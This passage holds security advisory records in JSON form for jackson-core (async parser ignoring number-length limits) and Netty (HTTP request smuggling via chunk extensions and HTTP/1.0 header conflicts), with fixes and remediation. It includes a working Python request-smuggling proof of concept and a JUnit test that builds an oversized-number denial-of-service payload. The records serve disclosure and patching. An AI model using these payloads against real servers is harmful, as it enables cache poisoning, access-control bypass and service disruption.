  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-04-07T16:30:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.10.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:48:55Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "id": "GHSA-pwqr-wmgm-9rr8",
  "modified": "2026-03-27T21:49:43Z",
  "published": "2026-03-26T18:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.0"
            },
            {
              "fixed": "3.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
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            "value": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
            },
            {
              "status": "affected",
              "version": "\u003c 4.1.133.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T17:54:44.492Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
        }
      ],
      "source": {
        "advisory": "GHSA-xxqh-mfjm-7mv9",
        "discovery": "UNKNOWN"
      },
      "title": "Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42581",
    "datePublished": "2026-05-13T17:54:44.492Z",
    "dateReserved": "2026-04-28T17:26:12.085Z",
    "dateUpdated": "2026-06-30T12:08:38.918Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}